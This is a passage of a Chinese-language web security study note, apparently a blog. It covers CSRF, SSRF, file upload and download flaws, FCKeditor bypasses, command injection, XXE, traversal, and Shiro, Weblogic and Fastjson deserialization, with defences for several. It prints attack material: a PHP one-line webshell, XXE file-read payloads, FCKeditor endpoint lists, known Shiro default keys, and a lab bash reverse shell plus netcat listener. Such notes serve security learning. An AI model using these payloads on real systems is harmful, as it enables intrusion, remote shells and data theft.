  3. B网站有一个标签,内容如下

    1
    <img src="http://www.xxbank.com/account=A&amoney=10000&pay=B" >
  4. 这个标签看是img图片标签,但实际上他是一个http请求,用于向国家某银行发送一个请求,内容是A向B转10000元。由于A的浏览器上保留cookie,因此银行执行了这个请求。

  5. 然后A的钱就没了

进阶版

危险网站可以伪造一个表单并隐藏,并在自己网站的onload事件中,触发这个表单的提交事件,就可以改GET攻击为POST攻击,这样的攻击更加不明显。

防御

简单版

将涉及敏感操作的请求改为POST请求

注意:这个方法的确可以防范一些CSRF攻击,但是对于进阶攻击就无能为力了——POST请求一样可以伪造。
所以这个方法不够安全。只能提高攻击的门槛。

普通版

  • 用户操作限制——验证码
    方法:添加验证码来识别是不是用户主动去发起这个请求,由于一定强度的验证码机器无法识别,因此危险网站不能伪造一个完整的请求。
    优点:简单,成本低
    缺点:用户体验不友好

  • 请求来源限制——验证HTTP Referer字段
    方法:HTPP请求中有一个字段叫做Referer,这个字段用于记录请求的来源地址。服务器需要验证这个来源地址是否合法,如果来自一些不受信任的网站,直接拒绝响应
    优点:零成本、简单
    缺点:由于这个方法严重依赖浏览器自身,因此安全性全看浏览器

    • 兼容性不好:每个浏览器对于Referer的具体实现可能有差别
    • 并不一定可靠:在一些古老的垃圾浏览器中,Referer可以被篡改
    • 对用户不友好:Referer值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权。因此有些用户可能会开启浏览器防止跟踪功能,不提供Referer,从而导致正常用户请求被拒绝
  • 额外验证机制——token使用
    方法:使用token来代替验证码验证。由于黑客并不能拿到和看到cookie里的内容,所以无法伪造一个完整的请求,实现步骤如下:

    1. 服务器随机产生token(需要够随机,不容易被伪造,比如把cookie hash化生成),存在session中,放在cookie中或者以ajax的形式交给前端
    2. 前端发送请求时,解析cookie中的token,放到url的请求中
    3. 服务器验证token,如果token不对,那就说明有问题。

    更进一步加强(不需要SESSION):

    1. 服务器随机产生token,然后以token为密钥散列生成一段密文
    2. token和密文都随cookie交给前端
    3. 前端发起请求时把密文和token都交给后端
    4. 后端对token和密文进行正向散列验证,看token能不能生成同样的密文
    5. 这样即使黑客拿到了token 也无法拿到密文。

    优点:

    • 安全性:极大地提高了破解成本
    • 易用性:非常容易实现
    • 友好性:对用户来说十分友好

    缺点:

    • 性能担忧:需要hash计算,增加性能上的成本
    • cookie臃肿:更加依赖网络的情况
    • 并不绝对安全:
      1. 一些论坛之类支持用户自己发表内容,由于系统也会在这个地址后面加上token,这样黑客可以在自己的网站上得到这个 token,并马上就可以发动CSRF攻击。(进一步加强法可以防范,或者验证链接是否是链到自己本站,是的就在后面添加 token,如果是通向外网则不加)
      2. 其他攻击方式如XSS攻击能拿到cookietoken
      3. 对于POST请求,难以将token附在请求中(已经有一些框架和库可以解决这个缺点)
  • HTTP头中自定义属性并验证
    方法:这种方法也是使用token并进行验证,和上一种方法不同的是把它放到HTTP头中自定义的属性里
    优点:

    • 这样解决了上种方法在请求中加入token的不便
    • 通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,安全性较高

    缺点:

    • 局限性非常大:XMLHttpRequest请求通常用于Ajax,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,造成不便
    • 对于旧网站,要把所有请求都改为XMLHttpRequest请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。

SSRF

SSRF(服务器端请求伪造),是一种由攻击者构造请求,由服务端发起请求的安全漏洞。

一般情况下,SSRF攻击的目标是外网无法访问的内部系统。

原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤和限制。

比如:操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等。

以下php的函数使用不当会导致SSRF

1
2
3
file_get_contents()
fsockopen()
curl_exec()

主要的攻击方式如下:

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序
  • 对内网web应用进行指纹识别,识别企业内部的资产信息
  • 攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击(如struts2、SQli等)
  • 利用file协议读取本地文件

利用

找到一个漏洞点(一般需要用户输入url或者导入外部连接的地方都有可能是漏洞点),利用CEYE(ceye.io)是一个比较简单的方法。
CEYE是一个用来检测带外流量的监控平台,因为一些漏洞类型是没有直接表明攻击是成功的,所以我们可以通过这个平台,利用使用诸如DNS和HTTP之类的带外信道,得到回显。【使用方法很简单,登录后在用户详情页可以看到自己的域名标识符 identifier,对于每个用户,都有唯一的域名标识符http://abcdef.ceye.io 。所有来自于 http://abcdef.ceye.io.http://abcdef.ceye.io/ 的 DNS查询和HTTP请求都会被记录。通过查看这些记录信息,就可以判断漏洞详情.
另一种方法是通过bp抓包,在包里修改url的信息,通过构造不同的请求(比如将URL改为内网ip:127.0.0.1,简单举个例子【xxxx/ssrf.php?url=127.0.0.1】)然后查看返回的状态码(如果存在内网地址,就会返回1xx或者2xx之类的状态码),从而得到信息

获得信息后我们可以通过将URL唤成file://的形式进行读取本地文件。

绕过

一般情况下都会有过滤处理,特别是让用户在外部导入一个图片连接进行评论或者其他的地方。这时候我们可以通过构造带有.jpg的payload用CEYE试一试。

防御

  • 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求
  • 限制不能访问内网IP,以防止对内网进行攻击
  • 屏蔽返回的详细信息
  • 使用DNS缓存或者Host白名单的方式

文件下载

很多网站会提供文件下载功能,但是如果文件下载功能设计不当,则可能导致攻击者可以通过构造文件路径,从而获取到后台服务器上的其他敏感文件(称:任意文件下载)

如明文传输

1
http://ip/pikachu-master/vul/unsafedownload/execdownload.php?filename=a.png

这时把后面的文件名改成../../../../../../../固定的文件名,即可任意文件下载

防范

  1. 对传入的文件名进行严格的过滤和限定
  2. 对文件下载的目录进行严格的限定

文件上传

文件上传,简单地说就是通过上传功能上传可执行脚本程序,从而获得网站权限。

流程

  1. 对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等)
  2. 尝试上传不同类型的“恶意”文件,比如a.php,分析结果
  3. 查看html代码,查看是否通过js在前端做了上传限制,如果是则进行绕过
  4. 尝试使用不同方式进行绕过:黑白名单绕过/MIME类型绕过/目录0x00截断绕过等
  5. 猜测或结合其他漏洞(如敏感信息泄露等)得到木马路径,然后getshell

分类

Apache

后缀解析漏洞:Apeach是从右到左开始判断解析文件后缀,如果为不可识别解析,则继续往左判断。如shell.php.abc.rar

htaccess文件解析漏洞:如果htaccess文件可被执行和上传,就可以构造规则,如将JPG文件当作PHP文件进行解析

IIS

IIS6

目录解析漏洞:在xxx.asp/目录下的文件都当作asp执行

文件解析漏洞:文件名分号后面不被解析,如shell.asp;.jpg会被当做asp执行

其他:默认可执行文件除了asp,还有.asa/.cer/.cdx

IIS7

畸形解析漏洞:在默认Fast-CGI开启的情况下,上传一个1.jpg文件,<?PHP fputs(fopen('shell.,php'),'w'), '<?php eval()?>';?>,然后去访问1.jpg/.php,会把图片当作PHP文件解析

Nginx

空子节代码执行漏洞:在1.jpg中嵌入PHP代码,然后通过访问1.jpg%00.php来执行其中代码

PHP FastCGI取值错误解析漏洞

条件:网站开启了cgi.fix_pathinfo,且security.limt_extensions没有设置

开启了cgi.fix_pathinfo后,如果执行文件不存在,会继续查找上一级文件是否存在,而security.limt_extensions选项则是用于限制可执行文件的类型

例子:

假设网站存在1.jpg文件,不存在1.php文件,当访问以下url:http://www.abc.com/1.jpg/1.php时,因为不存在1.php,所以它会往上一级查询,查找到1.jpg,于是就返回1.jpg的文件内容【以php解析的结果返回】

原理:PHP配置文件中的CGI的配置选项导致这个漏洞的发生。默认开启这个配置时,访问文件因为文件不存在,PHP会向前递归解析,造成解析漏洞。

编辑器漏洞

本节主要参考Naraku的文章

FCKEditor

#查看编辑器版本

1
2
http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html

Version=2.2:Apache+Linux环境下,上传文件时后面+.即可突破

Version≤2.42:在处理PHP上传的地方未对Media类型进行上传文件类型的控制,导致用户上传任意文件

1
2
3
4
5
<form id="frmUpload" enctype="multipart/form-data"action="目标上传路径" method="post">
Upload a new file: <br>
<input type="file" name="NewFile" size="50"> <br>
<input id="btnUpload" type="sublimt" value="Upload">
</form>

测试上传点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
突破限制
上传限制

一般通过抓包更改扩展名,%00截断,添加头文件等

文件名限制

文件上传时可以将.修改成_

  • 空格绕过:将文件名修改成1.php+空格,不过此方法只适用于Windows系统,*nix不支持
  • 二次上传绕过:将文件名修改成1.asp;.jpg,此时文件名可能会自动转变成1_asp;.jpg,再次上传文件,此时第二个上传的文件即有可能会被重命名为1.asp(1);.jpg
IIS6.0突破限制
  • 访问http://127.0.0.1/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp。这个时候网站会在目录下递归创建一个xx.asp/x.asp的目录,但因为此处内层目录含有x.asp会被重新命名为x_asp,即创建了/xx.asp/x_asp,可以将文件上传到xx.asp目录,配合IIS6.0目录解析漏洞进行利用
  • 当然也可以通过bp抓包,将CurrentFolder=%25修改成CurrentFolder=/xx.asp。原理同上
文件解析限制

通过Fckeditor编辑器在文件上传页面中,创建1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。

列目录

fckeditor:FCKeditor/editor/fckeditor.html不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页,可以查看已经上传的文件。

1
http://127.0.0.1/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

获取当前文件夹

1
2
3
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

浏览E盘

1
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/

客户端

JS校验

JS校验是在浏览器上进行的,因此我们只需要禁用js就可以了。

服务端

content-type字段校验(MIME)

MIME(多用途互联网邮件扩展类型)。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。

一般它通过content-type字段规定了哪些后缀可以上传,哪些不可以。

我们可以通过拦截数据包,修改content-type字段即可绕过MIME验证

普通文本 .txt text/plain

RTF文本 .rtf application/rtf

GIF图形 .gir image/gif

JPEG图形 .ipeg,.jpg image/jpeg

$_FILES()

通过使用PHP的全局数据$_FILES,可以从客户计算机向远程服务器上传文件。

第一个参数是表单的input name, 第二个下标可以是“name”,”type”,”size”,”tmp_name”或”error”

如:

1
2
3
4
5
$_FILES["file"]["name"] -被上传文件的名称
$_FILES["file"]["type"] -被上传文件的类型
$_FILES["file"]["size"] -被上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] -存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] -由文件上传导致的错误代码
getimagesize()

getimagesize()返回结果中有文件大小和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题,因为图片头可以被伪造

伪造方法类似下面的头检验

文件内容头校验

一些上传的地方会检测文件内容头判断是不是允许上传的文件类型,不同类型的文件文件头也是不一样的

绕过方法很简单,直接搞图片马就好了

方法1:

cmd: copy /b test.png + ma.php abc.png

方法2:

在文件内容前面添加

GIF98a

如下面的一句话木马

1
GIF98a<?php @eval($_POST['cmd']);?>

原理:只校验文件前两个字节

文件截断

由于00代表结束符,所以会把00后面的所有字符删除。

这样的话我们可以通过将php文件的后缀改为.php%00.jpg就可以绕过了。

后缀名黑名单校验

顾名思义后缀黑名单就是明确指出了哪些后缀不允许上传

这种校验有不同的绕过方法,比如常见的后缀名改为大小写(如php改为phP),也有利用一些漏洞(如能够将php5识别成php来执行,就可以将后缀名改为php5)

后缀名白名单校验

白名单是明确限制了只允许哪些后缀上传,其他的都不允许,一般白名单要比黑名单安全的多

竞争条件

一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果有则删除。这里存在的一个时间差问题(就是上传后需要执行检查文件和删除文件操作,在这些操作完成前会存在一个时间差),攻击者可以通过这个时间差完成竞争条件的上传漏洞攻击。

二次渲染

做题的时候遇过一次,但还没解决,等解决了再来补充

防御方法

  • 通过使用白名单的方式判断文件后缀是否合法
  • 对上传后的文件进行重命名
  • 不要在前端使用JS实施上传限制策略
  • 对上传的文件进行多条件组合检查:比如文件的大小,路径,扩展名,文件类型,文件完整性
  • 对上传文件的目录进行权限控制(比如只读),限制执行权限带来的危害

暴力破解

通过自动化和存储的密码字典进行连续性尝试的破解密码,叫做暴力破解

字典

一个有效的字典,可以大大提高暴力破解的效率

一般字典的内容可以有以下这些

  • 常用的账号密码(弱口令),比如常用用户名/密码TOP 500等
  • 互联网上被脱裤后的账号密码,这个需要社工库
  • 使用指定的字符使用工具按照指定的规则进行排列组合算法生成的密码

暴力破解漏洞

如果一个网站没有对登录接口实施防暴力破解的措施,或者实施了不合理的措施,就称该网站存在暴力破解漏洞

一般情况下应该存在的一些措施

  • 是否要求用户设置复杂的密码
  • 是否每次认证都使用安全的验证码
  • 是否对尝试登录的行为进行判断和限制
  • 是否在必要的情况下采用了双因素认证
  • …….

双因素认证:双因素认证是一种采用时间同步技术的系统,采用了基于时间、事件和密钥三变量而产生的一次性密码来代替传统的静态密码。

测试过程

请查看另一篇笔记,那里有详细说明

防御方式

  • 如果用户登录次数超过设置的次数,直接封锁账号
  • 如果某个IP登录的次数超过设定的次数,直接封锁IP(这里有一个问题,如果存在多个用户使用同一个IP的情景,则会出现其他用户都无法登录的情况)
  • 使用双因素认证

PS:存在暴力破解漏洞的网站可能会遭受暴力破解攻击,但成功率并不是100%,所以虽然存在该漏洞,但管理员可能会忽略它的危害。

验证码绕过

验证码的作用

防止暴力破解

防止机器恶意注册

验证码的认证流程

  1. 客户端request登录页面,后台生成验证码(1.后台使用算法生成图片,并将通篇response给客户端;2.同时将算法生成的值全局赋值存到session中)
  2. 校验验证码(1.客户端将认证信息和验证码一同提交;后台对提交的验证码与session里面的进行比较)
  3. 客户端重新刷新页面,再次生成新的验证码(验证码算法中一般包含随机函数,所以每次刷新都会改变)
on-client常见问题
  • 使用前端js实现验证码
  • 将验证码在cookie中泄露
  • 将验证码在前端源代码中泄露
on-server常见问题
  • 验证码在后台不过期,导致可以长期被使用
  • 验证码校验不严格,逻辑出现问题
  • 验证码设计的太过简单,容易被猜解

命令执行

应用程序有时需要调用一些执行系统命令的函数。当攻击者能控制这些函数中的参数时,就可以将而已的系统命令拼接到正常命令中,从而造成命令你个执行攻击。

简单地说跟文件包含漏洞很像,但不同的是文件包含是将而已代码import到源码上,而命令执行则是执行你上传的命令。

一般出现这种漏洞是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,如路由器、防火墙等设备的web管理界面上。

命令

window

  1. ”|“:直接执行后边的语句。比如ping 127.0.0.1 | whoami那么就是直接执行whoami
  2. ”||“:如果前边语句出错执行后边语句,而且前边的语句只能为假。比如ping 127 | whoami那么就是直接执行whoami
  3. ”&“:如果前边语句出错执行后边语句,但是前边语句不一定为假。比如ping 127 | whoami那么就是直接执行whoami;比如ping 127.0.0.1 | whoami那么就是只执行ping 127.0.0.1
  4. ”&&“:前面的语句必须为真,为真执行后边语句,如果为假直接退出。因为这个就是传统意义上的与,必须两个都为真。比如ping 127.0.0.1 && whoami

Linux

  1. ”||“、”&“、”&&“都和Windows的一样。
  2. ”;“的作用就是传用意义上的分号,同时传多个命令的时候用分号分开的那个分号。所以这个会执行完前边的再执行后边的。
  3. Linux下的”|“命令上边也有提到,就是只返回后边的命令,直接看这两个例子
1
2
3
4
5
6
7
8
9
10
11
12
13
d@g:~$ whoami | ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.042 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.048 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.050 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.059 ms
^C
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3051ms
rtt min/avg/max/mdev = 0.042/0.049/0.059/0.010 ms
d@g:~$ ping 127.0.0.1 | whoami
d
d@g:~$

逻辑漏洞

逻辑漏洞是指攻击者利用业务的射击缺陷,获取敏感信息或者破坏业务的完整性,比如密码修改、越权访问、密码找回、交易支付金额、短信轰炸等

其中越权有两种,分别是水平和垂直

  • 水平越权:相同级别的用户或者同一角色中不同的用户之间,可以越权访问、修改或者删除其他用户信息的非法操作
  • 垂直越权:不同级别支架你的用户或者不同角色之间用户的越权,比如普通用户通过越权获得管理员权限

常见的逻辑漏洞

  • 支付订单:在支付订单时,可以篡改价格为任意金额;或者可以篡改运费或其他费用为负数,导致总金额降低
  • 越权访问:通过越权漏洞访问他人信息或者操纵他人账号
  • 重置密码:在重置密码时,存在多种逻辑漏洞,比如利用 session覆盖重置密码、短信验证码直接在返回的数据包中等
  • 竞争条件:竞争条件常见于多种攻击场景中,比如前面介绍的文件上传漏洞。还有一个常见场景就是购物时,例如用户A的余额为10元,商品B的价格为6元,商品C的价格为5元,如果用户A分别购买商品B和商品C,那余额肯定是不够的。但是如果用户A利用竞争条件,使用多线程同时发送购买商品B和商品C的请求,可能会出现以下这几种结果
    • 有一件商品购买失败
    • 商品都购买成功,但是只扣了6元
    • 商品都购买成功,但是余额变成了-1元

防御方法

越权访问可以利用session来控制,而不是通过get或者post来获取username。

XXE

XML,外部实体注入,简称XXE漏洞。

XML在语法方面类似HTML,但是他和HTML完全是两个东西。HTML是前端的东西,使用来显示数据的;而XML使用来传输数据的。

XML中有两个概念,分别是DTO和实体。

DTO

  1. 内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>
  2. 外部声明DTD格式:<!DOCTYPE 根元素 SYSTEM "文件名">
  3. 引用公共DTD格式: <!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URL">

实体

  1. 内部声明实体格式:<!ENTITY 实体名称 "实体的值">
  2. 外部声明实体格式:<!ENTITY 实体名称 SYSTEM "URL">

DTD呢就相当于一种固定格式,而实体就类似于python里的import,作用是引用普通文本或特殊字符

XXE漏洞就是XML外部实体注入(XML External Entity),这个甚至有点类似文件包含。
如果目标站点使用了外部实体,并且没有对用户提交的XML数据进行过滤,那么就是存在XXE漏洞。具体利用方式为:
当网站使用外部实体时,我们可以通过POST请求提交XML数据,所以我们提交类似这种数据

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--第一部分-->
<!--xml声明-->
<?xml version="1.0"?>
<!--第二部分-->
<!--定义文档是a类型的文档-->
<!DOCTYPE a [
<!ENTITY b SYSTEM "file///c:/windows/win.ini">
]>
<!--第三部分-->
<!--文档元素-->
<xml>
<xxe>&b;</xxe>
</xml>

作用是通过file协议读取本地文件win.ini,后他的逻辑(最无脑的,没有任何过滤的那种):

  1. 获取用户输入的内容
  2. 初始化XML解析器
  3. 加载客户端输入的XML内容
  4. 获取XML文档中的节点XXE,然后输出XXE的内容

外部实体引用payload

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

外部引用可以支持http,file,ftp等协议

如果第一个接口支持接受xml数据,且没有对xml数据做任何安全上的措施,就可能导致xxe漏洞

simplexml_load_string()

函数转换形式良好的xml字符串为SimpleXMLElement对象

在PHP里面解析xml用的是libxml,在≥2.9.0版本中,默认静止解析xml外部实体内容的

xxe漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的xml

目录遍历

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。

在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。

从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。

需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。

使用方法:

../../../../(多敲几个)etc/passwd

敏感信息泄露

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。

  1. 通过访问url下的目录,可以直接列出目录下的文件列表
  2. 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息
  3. 前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等

类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理

URL跳转

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方

如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就会有可能发生跳错对象问题

URL跳转的一个危害是:

钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

建议配合短链接使用

反序列化

四大洞

四大洞分别是Shiro、Weblogic、Fastjson、Log4j

Shiro

Shiro-550

原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

所以整个攻击过程如下

命令–>序列化–>AES加密–>base64解密–>RememberME Cookie值

在这个过程中,最重要的是AES加密,如果得不到AES的密钥,就无法完成这个攻击。而在一些旧的版本里面,这个密钥是默认硬编码在代码里(SHIRO-550)。

靶场练习(墨者)

在墨者的靶场中,我们先用bp抓包登录

发现rememberME,说明是shiro漏洞(虽然题目已经说明了)

然后百度一下1.24版本,发现有公开的key

1
2
3
4
5
6
7
8
9
kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

开始利用

先监听端口

1
nc -lvp 6666

通过网站生成加密后的指令

1
2
原:bash -i >& /dey/tcp/192.168.108.139/1234 0>&1
加密后:bash -c {echo,YmFzaCAtaSA+JiAvZGV5L3RjcC8xOTIuMTY4LjEwOC4xMzkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

然后输入到kali,生成payload,发现没有反弹

有点疑惑,上shiro工具,发现也不行,最后去看评论

好家伙,修复了。

shiro-721

Weblogic

Weblogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。其反序列化漏洞有多个版本(即不同的CVE,下面只针对其中几个进行说明)

CVE-2021-2109-LDAP-RCE

CVE-2019-2725-反序列化-RCE

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

原理

漏洞位于 Weblogic 内置的“ wls9_async_response ”组件与“ wls-wsat ”组件。漏洞产生的根本原因是 CVE-2017-10271 的补丁可被绕过,导致允许攻击者构造恶意 SOAP 消息内容进行 XMLDecoder 反序列化。

CVE-2017-10271-XMLDecoder-RCE

原理

weblogic:7001端口

redis :6379 端口

tomcat: 8009 端口

漏洞的前身是CVE-2017-3506,该漏洞是存在任意文件读取下载

http://your-ip:7001/hello/file.jsp?path=/etc/passwd

而10271则是对3506进行了修复,但只是做了类似黑名单一样的限制,从而出现了绕过补丁触发漏洞情况。

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据。Weblogic Service WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,其中触发漏洞的url如下所示

http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType

Post数据包,通过构造SOAP(XML)格式的请求,在解析过程中导致XMLDecoder反序列化漏洞

复现

迟点会写详细的复现文章,到时看另一篇吧

Fastjson

fastjson在1.24版本中有两个利用链,一个是TemplatesImpl,另一个是JdbcRowSetImpl

Templateslmpl

JdbcRowSetlmpl

JdbcRowSetlmpl有两个利用方式,一个是RMI,另一个是JNDI

RMI

java RMI即远程方法调用,是分布式编程中的一种变成思想,通过RMI可以实现一个虚拟机中的对象调用另一个虚拟机上中的对象的方法,并且这两个虚拟机可以跨主机,也可以跨网络。

RMI主要由三部分组成,RMI服务端用于提供远程调用服务,RMI客户端使用远程调用服务,RMI注册表是RMI服务端所有远程调用对象的命名空间,RMI服务端每创建一个对象都会在进行注册绑定到RMI注册中心

一般RMI客户端通过远程对象的标识符访问注册表,从而得到远程对象的引用,而RMI注册表相当于RMI服务端和客户端之间远程对象调用的代理。

rmi://host:port/name,这个就是标识符。该标识符的格式类似于http协议,其中host表示提供RMI远程调用的主机地址,port表示开放的端口,name表示RMI服务具体的名称

例子

设有一个RMI服务的标识符如下所示:

rmi://192.168.108.131:10086/userRmiService

这表示了ip地址为192.168.108.131的主机在10086端口开放了一个名为userRmiService的RMI服务,然后RMI客户端可以通过这个标识符来访问RMI服务端的服务。

JNDI

JNDI(java命名和目录接口)是一组在java应用中访问命名和目录服务的接口,它可以实现给当前服务器的所有资源定义一个唯一的访问标识(例如数据库,网页,文件,连接池等等),方便开发者通过指定的标识来访问对象(目标资源文件,数据库等等)

JNDI有一些接口,这些接口主要用于查找和访问各种命名和目录服务

1
2
javax.naming.InitialContext;
javax.naming.Reference;

其中InitialContext类用于构建JNDI上下文环境的一些初始工作,Reference类则是表示JNDI中命名或目录服务中对象的引用

而在InitialContext类中有一个lookup方法,这个方法可以根据传入的标识获取命名服务所指向的对象引用,如果这个方法的参数(jndi_uri)可控的话,就可能会触发jndi注入

jndi注入

如果RMI客户端中的 jndi_uri 变量可控,攻击者就可以可能通过篡改RMI客户端中 jndi_uri的值,把RMI客户端导向到其他地方并加载一个恶意的类来达到某种目的,这样客户端就有可能被攻击。

流程:

首先服务端会根据恶意exp类与标识构造一个Reference对象引用,然后将这个恶意的Reference引用绑定到RMI注册中心,当客户端调用lookup方法获取Reference对象引用时,然后会加载Reference引用中指定的类,一般会先从本地寻找Exp类,如果找不到就会从Reference引用中指定的远程地址(http://127.0.0.1:8081/)中下载Exp类然后在本地加载该类,也就是说RMI客户端会再次跟远程地址建立tcp连接把Exp类下载到本地并加载。从监听的端口来看,客户端确实发送了一个http请求把Exp类下载到本地,然后在加载Exp类时就会执行静态代码块中的代码,调用本地的计算器。

1
2
3
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}

这段是lookup的代码,在这段代码里,getURLOrDefaultInitCtx方法会根据传入的标识名,返回一个url上下文,然后又调用一个lookup的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
